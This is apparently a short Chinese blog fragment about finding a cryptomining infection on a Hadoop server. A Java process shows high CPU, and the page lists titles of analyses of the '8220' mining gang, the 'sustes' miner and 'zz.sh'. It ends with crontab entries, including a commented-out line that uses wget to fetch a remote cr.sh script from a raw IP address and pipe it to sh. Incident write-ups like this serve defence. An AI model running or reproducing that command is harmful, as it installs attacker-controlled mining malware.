平时很少使用的一台服务器，24G内存，在上面搭建了Hadoop环境。 突然发现负载好高，top看了一下，一个java进程占用了很多cpu

疑似国内来源的“8220挖矿团伙”追踪溯源分析

挖矿木马 sustes 追踪溯源分析

挖矿病毒zz.sh——记一次linux(centos)成为矿机后的排查与修复过程

#*/20 * * * * php /xxxx
#* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1